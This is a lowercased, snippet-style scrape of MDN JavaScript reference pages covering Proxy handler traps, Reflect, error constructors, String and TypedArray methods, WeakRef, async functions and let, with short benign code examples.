the handler.getownpropertydescriptor() method is a trap for object.getownpropertydescriptor(). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax const p =
new proxy(target, { getownpropertydescriptor: function(target, prop) { } }); parameters the following parameters are passed to the getownpropertydescriptor() method. this is bound to the handler. target the target object. prop the name of the property whose description should be retrieved. return value the getownpropertydescriptor() method must return an object or undefined. description the handler.getownpropertydescriptor() method is a tr...
...does not exists as an own property of the target object or if it exists as a configurable own property of the target object. the result of object.getownpropertydescriptor(target) can be applied to the target object using object.defineproperty() and will not throw an exception. examples trapping of getownpropertydescriptor the following code traps object.getownpropertydescriptor(). const p =
new proxy({ a: 20}, { getownpropertydescriptor: function(target, prop) { console.log('called: ' + prop); return { configurable: true, enumerable: true, value: 10 }; } }); console.log(object.getownpropertydescriptor(p, 'a').value); // "called: a" // 10 the following code violates an invariant. const obj = { a: 10 }; object.pre...
... ...
handler.has() - JavaScript
this is bound to the handler. target the target object. ...
...re violated, the proxy will throw a typeerror: a property cannot be reported as non-existent, if it exists as a non-configurable own property of the target object. a property cannot be reported as non-existent, if it exists as an own property of the target object and the target object is not extensible. examples trapping the in operator the following code traps the in operator. ...
... is not extensible. examples trapping the in operator the following code traps the in operator. const p =
new proxy({}, { has: function(target, prop) { console.log('called: ' + prop); return true; } }); console.log('a' in p); // "called: a" // true the following code violates an invariant. const obj = { a: 10 }; object.preventextensions(obj); const p =
new proxy(obj, { has: function(target, prop) { return false; } }); 'a' in p; // typeerror is thrown specifications specification ecmascript (ecma-262)the definition of '[[hasproperty]]' in that specification. ...
handler.isExtensible() - JavaScript
the handler.isextensible() method is a trap for object.isextensible(). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax const p =
new proxy(target, { isextensible: function(target) { } }); parameters the following parameter is passed to the isextensible() method. this is bound to the handler. target the target object. return value the isextensible() method must return a boolean value. description the handler.isextensible() method is a trap for object.isextensible(). interceptions this trap can intercept these operations: object.isextensible() reflect.isextensible() invariants if the ...
....isextensible(). interceptions this trap can intercept these operations: object.isextensible() reflect.isextensible() invariants if the following invariants are violated, the proxy will throw a typeerror: object.isextensible(proxy) must return the same value as object.isextensible(target). examples trapping of isextensible the following code traps object.isextensible(). ...
...n the same value as object.isextensible(target). examples trapping of isextensible the following code traps object.isextensible(). const p =
new proxy({}, { isextensible: function(target) { console.log('called'); return true; } }); console.log(object.isextensible(p)); // "called" // true the following code violates the invariant. const p =
new proxy({}, { isextensible: function(target) { return false; } }); object.isextensible(p); // typeerror is thrown specifications specification ecmascript (ecma-262)the definition of '[[isextensible]]' in that specification. ...
handler.ownKeys() - JavaScript
this is bound to the handler. ...
...ment is either a string or a symbol. the result list must contain the keys of all non-configurable own properties of the target object. if the target object is not extensible, then the result list must contain all the keys of the own properties of the target object and no other values. examples trapping of getownpropertynames the following code traps object.getownpropertynames(). ...
...p =
new proxy({}, { ownkeys: function(target) { console.log('called'); return ['a', 'b', 'c']; } }); console.log(object.getownpropertynames(p)); // "called" // [ 'a', 'b', 'c' ] the following code violates an invariant. const obj = {}; object.defineproperty(obj, 'a', { configurable: false, enumerable: true, value: 10 } ); const p =
new proxy(obj, { ownkeys: function(target) { return [123, 12.5, true, false, undefined, null, {}, []]; } }); console.log(object.getownpropertynames(p)); // typeerror: proxy [[ownpropertykeys]] must return an array // with only string and symbol elements specifications specification ecmascript (ecma-262)the definition of '[[ownpropertykeys]]' in that specification. ...
handler.preventExtensions() - JavaScript
the handler.preventextensions() method is a trap for object.preventextensions(). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax const p =
new proxy(target, { preventextensions: function(target) { } }); parameters the following parameter is passed to the preventextensions() method. this is bound to the handler. target the target object. return value the preventextensions() method must return a boolean value. description the handler.preventextensions() method is a trap for object.preventextensions(). interceptions this trap can intercept these operations: object.preventextensions() refl...
...eptions this trap can intercept these operations: object.preventextensions() reflect.preventextensions() invariants if the following invariants are violated, the proxy will throw a typeerror: object.preventextensions(proxy) only returns true if object.isextensible(proxy) is false. examples trapping of preventextensions the following code traps object.preventextensions(). ...
...pping of preventextensions the following code traps object.preventextensions(). const p =
new proxy({}, { preventextensions: function(target) { console.log('called'); object.preventextensions(target); return true; } }); console.log(object.preventextensions(p)); // "called" // false the following code violates the invariant. const p =
new proxy({}, { preventextensions: function(target) { return true; } }); object.preventextensions(p); // typeerror is thrown specifications specification ecmascript (ecma-262)the definition of '[[preventextensions]]' in that specification. ...
RangeError() constructor - JavaScript
the rangeerror() constructor creates an error when a value is not in the set or range of allowed values. syntax
new rangeerror([message[, filename[, linenumber]]]) parameters message optional human-readable description of the error. ...
...essage[, filename[, linenumber]]]) parameters message optional human-readable description of the error. ...
... ...
RangeError - JavaScript
s can be encountered when: passing a value that is not one of the allowed string values to string.prototype.normalize(), or when attempting to create an array of an illegal length with the array constructor, or when passing bad values to the numeric methods number.prototype.toexponential(), number.prototype.tofixed() or number.prototype.toprecision(). constructor rangeerror() creates a
new rangeerror object. instance properties rangeerror.prototype.message error message. although ecma-262 specifies that rangeerror should provide its own message property, in spidermonkey, it inherits error.prototype.message. rangeerror.prototype.name error name. inherited from error. rangeerror.prototype.filename path to file that raised this error. inherited from error. rangeerror.protot...
...rror. rangeerror.prototype.linenumber line number in file that raised this error. inherited from error. rangeerror.prototype.columnnumber column number in line that raised this error. inherited from error. rangeerror.prototype.stack stack trace. inherited from error. ...
... ...
Reflect - JavaScript
all properties and methods of reflect are static (just like the math object). ...
... the proxy handler methods. some of these methods are also the same as corresponding methods on object, although they do have some subtle differences between them. static methods reflect.apply(target, thisargument, argumentslist) calls a target function with arguments as specified by the argumentslist parameter. see also function.prototype.apply(). reflect.construct(target, argumentslist[,
newtarget]) the
new operator as a function. equivalent to calling
new target(...argumentslist). also provides the option to specify a different prototype. reflect.defineproperty(target, propertykey, attributes) similar to object.defineproperty(). returns a boolean that is true if the property was successfully defined. reflect.deleteproperty(target, propertykey) the delete operator as a function.
...was successful. examples detecting whether an object contains certain properties const duck = { name: 'maurice', color: 'white', greeting: function() { console.log(`quaaaack! my name is ${this.name}`); } } reflect.has(duck, 'color'); // true reflect.has(duck, 'haircut'); // false returning the object's own keys reflect.ownkeys(duck); // [ "name", "color", "greeting" ] adding a
new property to the object reflect.set(duck, 'eyes', 'black'); // returns "true" if successful // "duck" now contains the property "eyes: 'black'" specifications specification ecmascript (ecma-262)the definition of 'reflect' in that specification. ...
RegExp.prototype.dotAll - JavaScript
property attributes of regexp.prototype.dotall writable no enumerable no configurable yes description the value of dotall is a boolean and true if the "s" flag was used; otherwise, false. the "s" flag indicates that the dot special character (".") should additionally match the following line terminator ("
newline") characters in a string, which it would not match otherwise: u+000a line feed (lf) ("\n") u+000d carriage return (cr) ("\r") u+2028 line separator u+2029 paragraph separator this effectively means the dot will match any character on the unicode basic multilingual plane (bmp). to allow it to match astral characters, the "u" (unicode) flag should be used. using both flags in conjunctio...
...is effectively means the dot will match any character on the unicode basic multilingual plane (bmp). to allow it to match astral characters, the "u" (unicode) flag should be used. using both flags in conjunction allows the dot to match any unicode character, without exceptions. you cannot change this property directly. ...
...lags in conjunction allows the dot to match any unicode character, without exceptions. you cannot change this property directly. examples using dotall var str1 = 'bar\nexample foo example'; var regex1 =
new regexp('bar.example','s'); console.log(regex1.dotall); // output: true console.log(str1.replace(regex1,'')); // output: foo example var str2 = 'bar\nexample foo example'; var regex2 =
new regexp('bar.example'); console.log(regex2.dotall); // output: false console.log(str2.replace(regex2,'')); // output: bar // example foo example specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype.dotall' in that specification. ...
Set() constructor - JavaScript
the set constructor lets you create set objects that store unique values of any type, whether primitive values or object references. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...tive values or object references. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax
new set([iterable]) parameters iterable optional if an iterable object is passed, all of its elements will be added to the
new set. if you don't specify this parameter, or its value is null, the
new set is empty. return value a
new set object. ...
...t, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax
new set([iterable]) parameters iterable optional if an iterable object is passed, all of its elements will be added to the
new set. if you don't specify this parameter, or its value is null, the
new set is empty. return value a
new set object. examples using the set object let myset =
new set() myset.add(1) // set [ 1 ] myset.add(5) // set [ 1, 5 ] myset.add(5) // set [ 1, 5 ] myset.add('some text') // set [ 1, 5, 'some text' ] let o = {a: 1, b: 2} myset.add(o) specifications specification ecmascript (ecma-262)the definition of 'set constructor' in that specification. ...
SharedArrayBuffer.prototype.slice() - JavaScript
if either begin or end is negative, it refers to an index from the end of the array, as opposed to from the beginning. this method has the same algorithm as array.prototype.slice(). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax sab.slice() sab.slice(begin) sab.slice(begin, end) parameters begin optional zero-based index at which to begin extraction. ...
...luding end. for example, slice(1,4) extracts the second element through the fourth element (elements indexed 1, 2, and 3). a negative index can be used, indicating an offset from the end of the sequence. slice(2,-1) extracts the third element through the second-to-last element in the sequence. if end is omitted, slice extracts through the end of the sequence (sab.bytelength). ...
... (elements indexed 1, 2, and 3). a negative index can be used, indicating an offset from the end of the sequence. slice(2,-1) extracts the third element through the second-to-last element in the sequence. if end is omitted, slice extracts through the end of the sequence (sab.bytelength). return value a
new sharedarraybuffer containing the extracted elements. ...
String() constructor - JavaScript
however, the constructor produces an instance of the type string (an object wrapper) and that's why you rarely want to use the string constructor at all. ...
...however, the constructor produces an instance of the type string (an object wrapper) and that's why you rarely want to use the string constructor at all. ...
...ew string object. it performs type conversion when called as a function, rather than as a constructor, which is usually more useful. syntax
new string(thing) string(thing) parameters thing anything to be converted to a string. examples string constructor and string function string function and string constructor produce different results: typeof string('hello world'); // string typeof
new string('hello world'); // object here, the function produces a string (the primitive type) as promised. however, the constructor produces an instance of the type string (an object wrapper) and that's why you rarely want to use the string constructor at all. specifications specification ecmascript (ecma-262)the definition of 'string constructor' in that specification. ...
String.prototype.charAt() - JavaScript
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax let character = str.charat(index) parameters index an integer between 0 and str.length - 1. if the index cannot be converted to the integer or no index is provided, the default is 0, so the first character of str is returned. return value a string representing the character (exactly one utf-16 code unit) at the specified index. ...
...cter is 0, and the index of the last character—in a string called stringname—is stringname.length - 1. if the index you supply is out of this range, javascript returns an empty string. if no index is provided to charat(), the default is 0. ...
... character—in a string called stringname—is stringname.length - 1. if the index you supply is out of this range, javascript returns an empty string. if no index is provided to charat(), the default is 0. ...
String.prototype.concat() - JavaScript
changes to the original string or the returned string don't affect the other. ...
...changes to the original string or the returned string don't affect the other. ...
...ctive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax str.concat(str2 [, ...strn]) parameters str2 [, ...strn] strings to concatenate to str. return value a
new string containing the combined text of the strings provided. description the concat() function concatenates the string arguments to the calling string and returns a
new string. changes to the original string or the returned string don't affect the other. if the arguments are not of the type string, they are converted to string values before concatenating. performance it is strongly recommended that the assignment operators (+, +=) are used instead of the concat() method. examples using concat() the following example combines strings into a
new string. let...
String.prototype.lastIndexOf() - JavaScript
, 2) will return 2 and not 0, as fromindex limits only the beginning of the match. case-sensitivity the lastindexof() method is case sensitive. ...
...mindex limits only the beginning of the match. case-sensitivity the lastindexof() method is case sensitive. for example, the following expression returns -1: 'blue whale, killer whale'.lastindexof('blue'); // returns -1 examples using indexof() and lastindexof() the following example uses indexof() and lastindexof() to locate values in the string "brave
new world". ...
...sing indexof() and lastindexof() the following example uses indexof() and lastindexof() to locate values in the string "brave
new world". let anystring = 'brave
new world'; console.log('the index of the first w from the beginning is ' + anystring.indexof('w')); // logs 8 console.log('the index of the first w from the end is ' + anystring.lastindexof('w')); // logs 10 console.log('the index of "
new" from the beginning is ' + anystring.indexof('
new')); // logs 6 console.log('the index of "
new" from the end is ' + anystring.lastindexof('
new')); // logs 6 specifications specification ecmascript (ecma-262)the definition of 'string.prototype.lastindexof' in that specification. ...
Symbol.for() - JavaScript
the symbol.for(key) method searches for existing symbols in a runtime-wide symbol registry with the given key and returns it if found. otherwise a
new symbol gets created in the global symbol registry with this key. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax symbol.for(key); parameters key string, required. the key for the symbol (and also used for the description of the symbol). return value an existing symbol with the given key if found; otherwise, a
new symbol is created and returned. description in contrast to symbol(), the symbol.for() function creates a symbol available in a global symb...
... parameters key string, required. the key for the symbol (and also used for the description of the symbol). return value an existing symbol with the given key if found; otherwise, a
new symbol is created and returned. description in contrast to symbol(), the symbol.for() function creates a symbol available in a global symbol registry list. symbol.for() does also not necessarily create a
new symbol on every call, but checks first if a symbol with the given key is already present in the registry. in that case, that symbol is returned. if no symbol with the given key is found, symbol.for() will create a
new global symbol. global symbol registry the global symbol registry is a list with the following record structure and it is initialized empty: a record in the global symbol regist...
...
new global symbol. global symbol registry the global symbol registry is a list with the following record structure and it is initialized empty: a record in the global symbol registry field name value [[key]] a string key used to identify a symbol. [[symbol]] a symbol that is stored globally. ...
Symbol.toStringTag - JavaScript
object.prototype.tostring.call([1, 2]); // "[object array]" object.prototype.tostring.call(3); // "[object number]" object.prototype.tostring.call(true); // "[object boolean]" object.prototype.tostring.call(undefined); // "[object undefined]" object.prototype.tostring.call(null); // "[object null]" // ... ...
...t.prototype.tostring.call(
new map()); // "[object map]" object.prototype.tostring.call(function* () {}); // "[object generatorfunction]" object.prototype.tostring.call(promise.resolve()); // "[object promise]" // ... ...
...ag when creating your own class, javascript defaults to the "object" tag: class validatorclass {} object.prototype.tostring.call(
new validatorclass()); // "[object object]" custom tag with tostringtag now, with the help of tostringtag, you are able to set your own custom tag: class validatorclass { get [symbol.tostringtag]() { return 'validator'; } } object.prototype.tostring.call(
new validatorclass()); // "[object validator]" tostringtag available on all dom prototype objects due to a webidl spec change in mid-2020, browsers are adding a symbol.tostringtag property to all dom prototype objects. for example, to acccess the symbol.tostringtag property on htmlbuttonelement: let test = document.createelement('button'); test.tostring(); // returns [object htmlbuttonelement] te...
SyntaxError() constructor - JavaScript
the syntaxerror constructor creates a
new error object that represents an error when trying to interpret syntactically invalid code. ...
... the syntaxerror constructor creates a
new error object that represents an error when trying to interpret syntactically invalid code. ...
...er optional the line number of the code that caused the exception examples catching a syntaxerror try { eval('hoo bar'); } catch (e) { console.error(e instanceof syntaxerror); console.error(e.message); console.error(e.name); console.error(e.filename); console.error(e.linenumber); console.error(e.columnnumber); console.error(e.stack); } creating a syntaxerror try { throw
new syntaxerror('hello', 'somefile.js', 10); } catch (e) { console.error(e instanceof syntaxerror); // true console.error(e.message); // hello console.error(e.name); // syntaxerror console.error(e.filename); // somefile.js console.error(e.linenumber); // 10 console.error(e.columnnumber); // 0 console.error(e.stack); ...
TypeError() constructor - JavaScript
human-readable description of the error filename optional optional. the name of the file containing the code that caused the exception linenumber optional optional. ...
...human-readable description of the error filename optional optional. the name of the file containing the code that caused the exception linenumber optional optional. ...
...nstanceof typeerror) // true console.log(e.message) // "null has no properties" console.log(e.name) // "typeerror" console.log(e.filename) // "scratchpad/1" console.log(e.linenumber) // 2 console.log(e.columnnumber) // 2 console.log(e.stack) // "@scratchpad/2:2:3\n" } creating a typeerror try { throw
new typeerror('hello', "somefile.js", 10) } catch (e) { console.log(e instanceof typeerror) // true console.log(e.message) // "hello" console.log(e.name) // "typeerror" console.log(e.filename) // "somefile.js" console.log(e.linenumber) // 10 console.log(e.columnnumber) // 0 console.log(e.stack) // "@scratch...
TypedArray.prototype.byteLength - JavaScript
property whose set accessor function is undefined, meaning that you can only read this property. the value is established when a typedarray is constructed and cannot be changed. if the typedarray is not specifying an byteoffset or a length, the length of the referenced arraybuffer will be returned. typedarray is one of the typedarray objects. ...
...ion is undefined, meaning that you can only read this property. the value is established when a typedarray is constructed and cannot be changed. if the typedarray is not specifying an byteoffset or a length, the length of the referenced arraybuffer will be returned. typedarray is one of the typedarray objects. ...
...edarray is constructed and cannot be changed. if the typedarray is not specifying an byteoffset or a length, the length of the referenced arraybuffer will be returned. typedarray is one of the typedarray objects. examples using the bytelength property var buffer =
new arraybuffer(8); var uint8 =
new uint8array(buffer); uint8.bytelength; // 8 (matches the bytelength of the buffer) var uint8 =
new uint8array(buffer, 1, 5); uint8.bytelength; // 5 (as specified when constructing the uint8array) var uint8 =
new uint8array(buffer, 2); uint8.bytelength; // 6 (due to the offset of the constructed uint8array) specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.bytelength' in that specification. ...
TypedArray.prototype.entries() - JavaScript
the entries() method returns a
new array iterator object that contains the key/value pairs for each index in the array. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax arr.entries() return value a
new array iterator object. ...
...ains the key/value pairs for each index in the array. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax arr.entries() return value a
new array iterator object. ...
...mdn/interactive-examples and send us a pull request. syntax arr.entries() return value a
new array iterator object. ...
TypedArray.prototype.every() - JavaScript
e ultimately observable by callback is determined according to the usual rules for determining the this seen by a function. every does not mutate the typed array on which it is called. examples testing size of all typed array elements the following example tests whether all elements in the typed array are bigger than 10. ...
...usual rules for determining the this seen by a function. every does not mutate the typed array on which it is called. examples testing size of all typed array elements the following example tests whether all elements in the typed array are bigger than 10. ...
...owing example tests whether all elements in the typed array are bigger than 10. function isbigenough(element, index, array) { return element >= 10; }
new uint8array([12, 5, 8, 130, 44]).every(isbigenough); // false
new uint8array([12, 54, 18, 130, 44]).every(isbigenough); // true testing typed array elements using arrow functions arrow functions provide a shorter syntax for the same test.
new uint8array([12, 5, 8, 130, 44]).every(elem => elem >= 10); // false
new uint8array([12, 54, 18, 130, 44]).every(elem => elem >= 10); // true specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.every' in that specification. ...
TypedArray.prototype.fill() - JavaScript
treated as length+end. polyfill since there is no global object with the name typedarray, polyfilling must be done on an "as needed" basis. use the following "polyfill" along with the array.prototype.fill() polyfill. ...
...with the name typedarray, polyfilling must be done on an "as needed" basis. use the following "polyfill" along with the array.prototype.fill() polyfill. ...
..." basis. use the following "polyfill" along with the array.prototype.fill() polyfill. // https://tc39.github.io/ecma262/#sec-%typedarray%.prototype.fill if (!uint8array.prototype.fill) { uint8array.prototype.fill = array.prototype.fill; } examples using fill
new uint8array([1, 2, 3]).fill(4); // uint8array [4, 4, 4]
new uint8array([1, 2, 3]).fill(4, 1); // uint8array [1, 4, 4]
new uint8array([1, 2, 3]).fill(4, 1, 2); // uint8array [1, 4, 3]
new uint8array([1, 2, 3]).fill(4, 1, 1); // uint8array [1, 2, 3]
new uint8array([1, 2, 3]).fill(4, -3, -2); // uint8array [4, 2, 3] specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.fill' in that specification. ...
TypedArray.prototype.keys() - JavaScript
the keys() method returns a
new array iterator object that contains the keys for each index in the array. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax arr.keys() return value a
new array iterator object. ...
...ject that contains the keys for each index in the array. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax arr.keys() return value a
new array iterator object. ...
...b.com/mdn/interactive-examples and send us a pull request. syntax arr.keys() return value a
new array iterator object. examples iteration using for...of loop var arr =
new uint8array([10, 20, 30, 40, 50]); var earray = arr.keys(); // your browser must support for..of loop // and let-scoped variables in for loops for (let n of earray) { console.log(n); } alternative iteration var arr =
new uint8array([10, 20, 30, 40, 50]); var earr = arr.keys(); console.log(earr.next().value); // 0 console.log(earr.next().value); // 1 console.log(earr.next().value); // 2 console.log(earr.next().value); // 3 console.log(earr.next().value); // 4 specifications specification ecmascript (ecma-262)the definition of '%typedarray%.prototype.keys()' in that specification. ...
TypedArray.prototype.length - JavaScript
sor property whose set accessor function is undefined, meaning that you can only read this property. the value is established when a typedarray is constructed and cannot be changed. if the typedarray is not specifying an byteoffset or a length, the length of the referenced arraybuffer will be returned. typedarray is one of the typedarray objects. ...
...unction is undefined, meaning that you can only read this property. the value is established when a typedarray is constructed and cannot be changed. if the typedarray is not specifying an byteoffset or a length, the length of the referenced arraybuffer will be returned. typedarray is one of the typedarray objects. ...
...d when a typedarray is constructed and cannot be changed. if the typedarray is not specifying an byteoffset or a length, the length of the referenced arraybuffer will be returned. typedarray is one of the typedarray objects. examples using the length property var buffer =
new arraybuffer(8); var uint8 =
new uint8array(buffer); uint8.length; // 8 (matches the length of the buffer) var uint8 =
new uint8array(buffer, 1, 5); uint8.length; // 5 (as specified when constructing the uint8array) var uint8 =
new uint8array(buffer, 2); uint8.length; // 6 (due to the offset of the constructed uint8array) specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.length' in that specification. ...
TypedArray.prototype.some() - JavaScript
to support truly obsolete javascript engines that don't support object.defineproperty, it's best not to polyfill array.prototype methods at all, as you can't make them non-enumerable. examples testing size of all typed array elements the following example tests whether any element in the typed array is bigger than 10. ...
...t object.defineproperty, it's best not to polyfill array.prototype methods at all, as you can't make them non-enumerable. examples testing size of all typed array elements the following example tests whether any element in the typed array is bigger than 10. ...
...e following example tests whether any element in the typed array is bigger than 10. function isbiggerthan10(element, index, array) { return element > 10; }
new uint8array([2, 5, 8, 1, 4]).some(isbiggerthan10); // false
new uint8array([12, 5, 8, 1, 4]).some(isbiggerthan10); // true testing typed array elements using arrow functions arrow functions provide a shorter syntax for the same test.
new uint8array([2, 5, 8, 1, 4]).some(elem => elem > 10); // false
new uint8array([12, 5, 8, 1, 4]).some(elem => elem > 10); // true specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.some' in that specification. ...
TypedArray.prototype.values() - JavaScript
the values() method returns a
new array iterator object that contains the values for each index in the array. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax arr.values() return value a
new array iterator object. ...
... that contains the values for each index in the array. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax arr.values() return value a
new array iterator object. ...
...m/mdn/interactive-examples and send us a pull request. syntax arr.values() return value a
new array iterator object. examples iteration using for...of loop var arr =
new uint8array([10, 20, 30, 40, 50]); var earray = arr.values(); // your browser must support for..of loop // and let-scoped variables in for loops for (let n of earray) { console.log(n); } alternative iteration var arr =
new uint8array([10, 20, 30, 40, 50]); var earr = arr.values(); console.log(earr.next().value); // 10 console.log(earr.next().value); // 20 console.log(earr.next().value); // 30 console.log(earr.next().value); // 40 console.log(earr.next().value); // 50 specifications specification ecmascript (ecma-262)the definition of '%typedarray%.prototype.values()' in that specification. ...
WeakRef - JavaScript
. when an object no longer has any strong references to it, the javascript engine's garbage collector may destroy the object and reclaim its memory. if that happens, you can't get the object from a weak reference anymore. note: please see the avoid where possible section below. correct use of weakref takes careful thought, and it's best avoided if possible. constructor weakref() creates a
new weakref object. instance methods weakref.prototype.deref() returns the weakref object's target object, or undefined if the target object has been reclaimed. avoid where possible correct use of weakref takes careful thought, and it's best avoided if possible. it's also important to avoid relying on any specific behaviors not guaranteed by the specification. when, how, and whether garbage ...
...ght never return undefined from deref, even if nothing strongly holds the target, because the garbage collector may never decide to reclaim the object. ...
... ...
WeakSet() constructor - JavaScript
while they are similar objects, they are not the same object. ...
...while they are similar objects, they are not the same object. ...
...while they are similar objects, they are not the same object. ...
WeakSet - JavaScript
ot enumerable. use case: detecting circular references functions that call themselves recursively need a way of guarding against circular data structures by tracking which objects have already been processed. ...
...g(obj), foo); here, a weakset is created on the first run, and passed along with every subsequent function call (using the internal _refs parameter). the number of objects or their traversal order is immaterial, so a weakset is more suitable (and performant) than a set for tracking object references, especially if a very large number of objects is involved. ...
...while they are similar objects, they are not the same object. and so they are both added to the set. ...
WebAssembly.Module() constructor - JavaScript
a webassembly.module() constructor creates a
new module object containing stateless webassembly code that has already been compiled by the browser and can be efficiently shared with workers, and instantiated multiple times. the webassembly.module() constructor function can be called to synchronously compile given webassembly binary code. however, the primary way to get a module is through an asynchronous compilation function like webassembly.compile(). syntax important: since compilation for large modules can be expensive, developers should only use the module() constructor when synchronous compilation is absolutely required; the asynchronous webassembly.compilestreaming() method should be used at all other times. ...
...nary code. however, the primary way to get a module is through an asynchronous compilation function like webassembly.compile(). syntax important: since compilation for large modules can be expensive, developers should only use the module() constructor when synchronous compilation is absolutely required; the asynchronous webassembly.compilestreaming() method should be used at all other times. ...
...used at all other times.
new webassembly.module(buffersource); parameters buffersource a typed array or arraybuffer containing the binary code of the .wasm module you want to compile. ...
Object initializer - JavaScript
objects can be initialized using
new object(), object.create(), or using the literal notation (initializer notation). an object initializer is a comma-delimited list of zero or more pairs of property names and associated values of an object, enclosed in curly braces ({}). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...mple is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax let o = {} let o = {a: 'foo', b: 42, c: {}} let a = 'foo', b = 42, c = {} let o = {a: a, b: b, c: c} let o = { property: function (parameters) {}, get property() {}, set property(value) {} };
new notations in ecmascript 2015 please see the compatibility table for support for these notations. in non-supporting environments, these notations will lead to syntax errors. // shorthand property names (es2015) let a = 'foo', b = 42, c = {}; let o = {a, b, c} // shorthand method names (es2015) let o = { property(parameters) {} } // computed property names (es2015) let prop = 'foo' let o = { ...
....log(a.foo2) // 2 console.log(a.foo3) // 3 let param = 'size' let config = { [param]: 12, ['mobile' + param.charat(0).touppercase() + param.slice(1)]: 4 } console.log(config) // {size: 12, mobilesize: 4} spread properties the rest/spread properties for ecmascript proposal (stage 4) adds spread properties to object literals. it copies own enumerable properties from a provided object onto a
new object. shallow-cloning (excluding prototype) or merging objects is now possible using a shorter syntax than object.assign(). let obj1 = { foo: 'bar', x: 42 } let obj2 = { foo: 'baz', y: 13 } let clonedobj = { ...obj1 } // object { foo: "bar", x: 42 } let mergedobj = { ...obj1, ...obj2 } // object { foo: "baz", x: 42, y: 13 } note that object.assign() triggers setters, whereas the spread op...
async function - JavaScript
the second promise has either been fulfilled or rejected, control re-enters foo. the result of the second promise resolution is returned from the second await expression. here 2 is assigned to result2. control moves to the return expression (if any). the default return value of undefined is returned as the resolution value of the current promise. async function foo() { const result1 = await
new promise((resolve) => settimeout(() => resolve('1'))) const result2 = await
new promise((resolve) => settimeout(() => resolve('2'))) } foo() note how the promise chain is not built-up in one go. instead, the promise chain is constructed in stages as control is successively yielded from and returned to the async function. as a result, we must be mindful of error handling behavior when dealing w...
..., we must be mindful of error handling behavior when dealing with concurrent asynchronous operations. for example, in the following code an unhandled promise rejection error will be thrown, even if a .catch handler has been configured further along the promise chain. this is because p2 will not be "wired into" the promise chain until control returns from p1. async function foo() { const p1 =
new promise((resolve) => settimeout(() => resolve('1'), 1000)) const p2 =
new promise((_,reject) => settimeout(() => reject('2'), 500)) const results = [await p1, await p2] // do not do this! use promise.all or promise.allsettled instead. } foo().catch(() => {}) // attempt to swallow all errors... examples async functions and execution order function resolveafter2seconds() { console.log("...
...() => resolve('1'), 1000)) const p2 =
new promise((_,reject) => settimeout(() => reject('2'), 500)) const results = [await p1, await p2] // do not do this! use promise.all or promise.allsettled instead. } foo().catch(() => {}) // attempt to swallow all errors... examples async functions and execution order function resolveafter2seconds() { console.log("starting slow promise") return
new promise(resolve => { settimeout(function() { resolve("slow") console.log("slow promise is done") }, 2000) }) } function resolveafter1second() { console.log("starting fast promise") return
new promise(resolve => { settimeout(function() { resolve("fast") console.log("fast promise is done") }, 1000) }) } async function sequentialstart() { console.l...
let - JavaScript
rograms and functions, let, unlike var, does not create a property on the global object. ...
...pe =
new weakmap(); let counter = 0; thing = function() { this.someproperty = 'foo'; privatescope.set(this, { hidden: ++counter, }); }; thing.prototype.showpublic = function() { return this.someproperty; }; thing.prototype.showprivate = function() { return privatescope.get(this).hidden; }; } console.log(typeof privatescope); // "undefined" var thing =
new thing(); console.log(thing); // thing {someproperty: "foo"} thing.showpublic(); // "foo" thing.showprivate(); // 1 the same privacy pattern with closures over local variables can be created with var, but those need a function scope (typically an iife in the module pattern) instead of just a block scope like in the example above. redeclarations redeclaring the same variable within the same ...
...on or block scope raises a syntaxerror. if (x) { let foo; let foo; // syntaxerror thrown. } you may encounter errors in switch statements because there is only one block. let x = 1; switch(x) { case 0: let foo; break; case 1: let foo; // syntaxerror for redeclaration. break; } however, it's important to point out that a block nested inside a case clause will create a
new block scoped lexical environment, which will not produce the redeclaration errors shown above. let x = 1; switch(x) { case 0: { let foo; break; } case 1: { let foo; break; } } temporal dead zone unlike variables declared with var, which will start with the value undefined, let variables are not initialized until their definition is evaluated. accessing the variable bef...
Optimizing startup performance - Web Performance
is startup performance. how long does your app take to start up? does it seem to lock up the device or the user's browser while the app loads? that makes users worry that your app is crashed, or that something else is wrong. it's always a good idea to take the time to ensure that your app starts up nicely. this article offers tips and suggestions to help you achieve that goal, both when writing a
